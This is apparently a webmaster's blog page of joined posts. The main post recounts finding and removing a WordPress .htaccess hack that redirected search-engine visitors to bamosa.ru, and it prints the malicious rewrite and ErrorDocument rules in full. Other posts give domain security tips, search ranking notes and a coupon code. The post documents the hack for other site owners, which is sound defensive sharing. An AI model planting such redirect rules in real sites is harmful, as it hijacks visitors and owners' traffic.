Events on Timeline

Feb. 24th, 2012 – I noticed the traffic dipped from 50 visitors per day to 1 visitor per day in my Google adsense and analytics for one of my main site. Basically my Search Engine Traffic went to zero. I made sure my site was not deindexed and the ranking was there. So I thought may be a problem in Google stats.

Feb. 25th, 2012 – I noticed the same effect for some of my other top performing sites. In fact this happened from Feb. 24th itself.

Feb. 26-29th, 2012 – I was caught up in other works and didn’t follow this problem though I kept checking the stats. I found the same kind of traffic dip in my Awstats as well.

Mar. 1, 2012 – I was confused and I wanted to know why all my search engine traffic(from google, yahoo, bing etc) have vaporized.  I did the following.

1. I checked my main site to see if it is loading properly and displaying the adsense ads. Yes everything was fine there.

2. I checked if my site’s main page and other pages were still indexed in Google, Yahoo & Bing. Yes it was there.

3. I made sure the site was still ranking on the first page which it did.

4. I also made sure my adsense ads & analytics code was embedded in my site by looking at the page’s source code. You know how to do it, don’t you.  In firefox go to Tools->Web Developer->Page Source.

Mar. 2, 2012 – My adsense revenue & traffic was zero. I had enough of it and I made up my mind to fix it today no matter what. I went to Google and searched the keyword for which I rank third. I clicked my site on the SERP. Boom my site got redirected to “http://bamosa dot ru”. The same effect for all my other sites as well.

How I fixed the Problem

I went into digging it further. My site gets loaded properly when I type the url but only when I go from the search engines it gets redirected. I know I have to mess around with the .htaccess file.

To know how to edit your .htaccess file go to http://www.shoutmeloud.com/how-to-edit-your-wordpress-htaccess-file.html

I went through my cpanel to take a look at my .htaccess file. There I saw the code which redirects my site to another site when my site is referred from Google, Yahoo, Bing, Alexa etc etc.

I removed the following code from my .htaccess file and everything is back to normal.

“RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://bamosa.ru [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http://bamosa.ru [R=301,L]

ErrorDocument 400 http://bamosa.ru
ErrorDocument 401 http://bamosa.ru
ErrorDocument 403 http://bamosa.ru
ErrorDocument 404 http://bamosa.ru
ErrorDocument 500 http://bamosa.ru “

My Observations

1.  Only my WordPress sites got affected.

2. I am not alone. Because the traffic for http://bamosa dot ru in the last week of Feb. 2012 and the ranking is close to 20K. My fellow domainers and webmasters need to check their sites for the same hack.

3. This is a clever hack. Since only my search engine traffic was hacked, I thought may be some glitch in the analytics code or something of that sort. That dragged my action time and in the process I lost a week’s traffic and revenue.

Hope everyone is having fun and catching up with Santa.

A quick update on this little site on Santa Tracker which is back rocking since its Christmas. It used to rank in Y & B. This time it moved one notch up and got ranked in between last of first page and start of second page of G. Now that is cool. Whenever i get a ranking in the first page of G, that makes me happy.

Happy Santa Christmas 2011.

1. Use Your Name or Your Company’s Name

The name listed as the Organizational Contact of a domain’s Whois record has all legal rights to and control over the domain. Because that control is exerted through the Administrative Contact, your name or your company’s name should be listed here as well. Too often, one or both of these entries contains the name of someone other than you. Free domain names are often prone to this problem. If the entries are incorrect, fix them immediately.

2. Use A Domain Related Email Address

Use an email address directly associated with your primary domain rather than using an out of domain address through an ISP or another third-party email hosting provider to be sure you get all of the related mail to your domain. Choose a primary domain in your portfolio and either register it for the maximum term of ten years or set it to renew automatically with your registrar. Then update all the email addresses throughout the rest of the portfolio with an address within this primary domain.

3. Get Rid of Whois Privacy, Privacy Masking, and Domain Masking

These privacy protectors don’t protect your privacy, and using them has added and unacceptable risks. Many internet scammers hide behind these services, and if you are using privacy masking, you may be losing sales. Disable all privacy masking services. Doing so will allow your customers to know who they are really buying from.

4. Use Only One Registrar

Consolidate all of your domains under one registrar to simplify administration. Choose a registrar that is responsive to your needs and professional.

5. Don’t Drop A Domain To Register Elsewhere

It is better to work on a way to recover your domain than to drop it. The redemption period is 70-80 days, and domainers are likely to snag the name before you ever get a chance to re-register it.

Some drop less used and low profit domain names to free up cash flow with the intent of re-registering them later. Occasionally, this works. However, once a domain name is dropped, it takes quite a gamble to be able to get an opportune time to re-register it.

6. Enable Domain Lock

All top-level domains like .com, .net, and .org are under a protocol known as EPP. Under EPP, these domains can be locked so that all transfer attempts will fail without proper authorization.

7. Enable Login Notifications

Login notifications tell you when someone is accessing your domains account and from what IP address. Have notices sent to a private email address, and monitor the login. Pay attention to logins that deviate from the norm.

8. Use Additional Security

Some registrars allow the domain owner to limit the logins to the account through various filters. Using this service can save your domains when your login credentials are compromised.

9. Watch For Phishing and Domain Slamming

Some registrars send out false renewal notices and, when you’ve given them the information they need, they transfer the management of your domain to a new registrar instead of renewing it. Phishing involves sending an email containing a link that requests you to login to your registrar account. Although the link looks real, hackers use it to steal your login credentials. Pay attention to your renewal notices. Never use a link in an email to login to your account. Instead, go to the website directly and login using SSL encryption.

Extra Measures
* Have your primary email address forward all mail to multiple email addresses.
* Put the domain registrar’s email address on your white list.
* Enable alternate methods of renewal notification if your registrar offers them.

Above post is a guest post from Gwen of hostingobserver.com

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Planning and Focus are going to be the two main key points i am planning to give more emphasis from this year 2011 onwards. Not that i didn’t do it earlier, but just want to make sure i am not missing them.

Hope you are all enjoying out there.

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Its been a while since i posted. Been a bit busy with development. Nothing much other than that.

Santa Tracker is a site that went live in April 2010. I did a few social bookmarking lately and it jumped up the rankings in Bing and Yahoo. Right now for the keyword Santa Tracker it is on Page 2 on both the search engines and for the keyword Santa Tracker For Kids it is on Page 1.

Couple of points to note

1. It works well even if you have the keywords in the domain name(other than the exact match domain names) atleast in Bing and Yahoo.

2. Social Bookmarking works atleast in the short term.

Not something new but worth mentioning again.

Coupon Code: FALL99

I just used the code to register  a .com domain. It is working at the time of this post. Hurry.